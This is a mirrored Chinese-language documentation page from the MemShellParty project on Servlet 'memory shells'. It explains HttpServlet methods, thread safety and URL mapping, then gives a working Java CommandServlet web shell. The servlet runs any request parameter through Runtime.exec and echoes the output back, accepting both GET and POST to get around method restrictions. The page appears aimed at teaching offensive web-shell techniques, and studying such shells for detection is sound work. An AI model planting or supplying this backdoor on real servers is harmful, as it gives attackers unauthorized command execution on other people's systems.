mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
77 lines
3.2 KiB
Plaintext
77 lines
3.2 KiB
Plaintext
---
|
|
title: Servlet 内存马
|
|
---
|
|
|
|
> [Servlet 3.1 规范 — 什么是 Servlet](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Overview/1.1%20What%20is%20a%20Servlet.md)
|
|
|
|
Servlet 是基于 Java 的 Web 组件,由容器进行管理,提供动态内容。
|
|
|
|
## HttpServlet
|
|
|
|
99.99% 的时候,我们实现 HttpServlet 抽象类给予我们的能力就可以了,以下每个方法都对应了 HTTP Method 方法,当我们想要实现处理 Get 请求实现 doGet,处理 Post 请求就实现 doPost。
|
|
|
|
```java
|
|
protected void doGet(HttpServletRequest req, HttpServletResponse resp);
|
|
protected void doPost(HttpServletRequest req, HttpServletResponse resp);
|
|
protected void doPut(HttpServletRequest req, HttpServletResponse resp);
|
|
protected void doDelete(HttpServletRequest req, HttpServletResponse resp);
|
|
protected void doHead(HttpServletRequest req, HttpServletResponse resp);
|
|
protected void doOptions(HttpServletRequest req, HttpServletResponse resp);
|
|
protected void doTrace(HttpServletRequest req, HttpServletResponse resp);
|
|
```
|
|
|
|
Servlet 规范中规定了,对于非分布式应用来说,Servlet 容器必须确保对于每个 Servlet 定义只存在一个实例,但是 Web 服务是多线程的,所以 Servlet 是线程不安全的,在 Servlet 中的成员变量都是线程不安全的。
|
|
|
|
针对 Servlet 的路径映射提供了注解的方式和 web.xml 方法,以下两种方式都能定义访问 `/foo` 即调用 CalculatorServlet 中对应的实现方法。
|
|
|
|
```java
|
|
@WebServlet(”/foo”)
|
|
public class CalculatorServlet extends HttpServlet{
|
|
//...
|
|
}
|
|
```
|
|
|
|
```xml
|
|
<servlet>
|
|
<servlet-name>foo</servlet-name>
|
|
<servlet-class>org.example.CalculatorServlet</servlet-class>
|
|
</servlet>
|
|
<servlet-mapping>
|
|
<servlet-name>foo</servlet-name>
|
|
<url-pattern>/foo</url-pattern>
|
|
</servlet-mapping>
|
|
```
|
|
|
|
## ServletShell
|
|
|
|
shell 的目的,就是为了定义一个入口,我们能与 Web 服务器进行交互。以下定义了一个命令回显的 ServletShell。
|
|
|
|
1. doGet 调用转发给 doPost,这样我们即支持 GET 也支持 POST,防止某些情况下有请求方法的限制。
|
|
2. 交互的入口是 `request.getParameter` 支持两种方式传参。GET/POST 请求发送 `/?paramName=whoami`,也可以发送 POST 请求时使用 `application/x-www-form-urlencoded` 发送 body 参数。`multipart/form-data` 是不支持从 `request.getParameter` 获取参数的。
|
|
|
|
```java
|
|
public class CommandServlet extends HttpServlet {
|
|
public static String paramName;
|
|
|
|
@Override
|
|
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
|
doPost(req, resp);
|
|
}
|
|
|
|
@Override
|
|
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
|
|
String cmd = request.getParameter(paramName);
|
|
if (cmd != null) {
|
|
Process exec = Runtime.getRuntime().exec(cmd);
|
|
InputStream inputStream = exec.getInputStream();
|
|
ServletOutputStream outputStream = response.getOutputStream();
|
|
byte[] buf = new byte[8192];
|
|
int length;
|
|
while ((length = inputStream.read(buf)) != -1) {
|
|
outputStream.write(buf, 0, length);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
```
|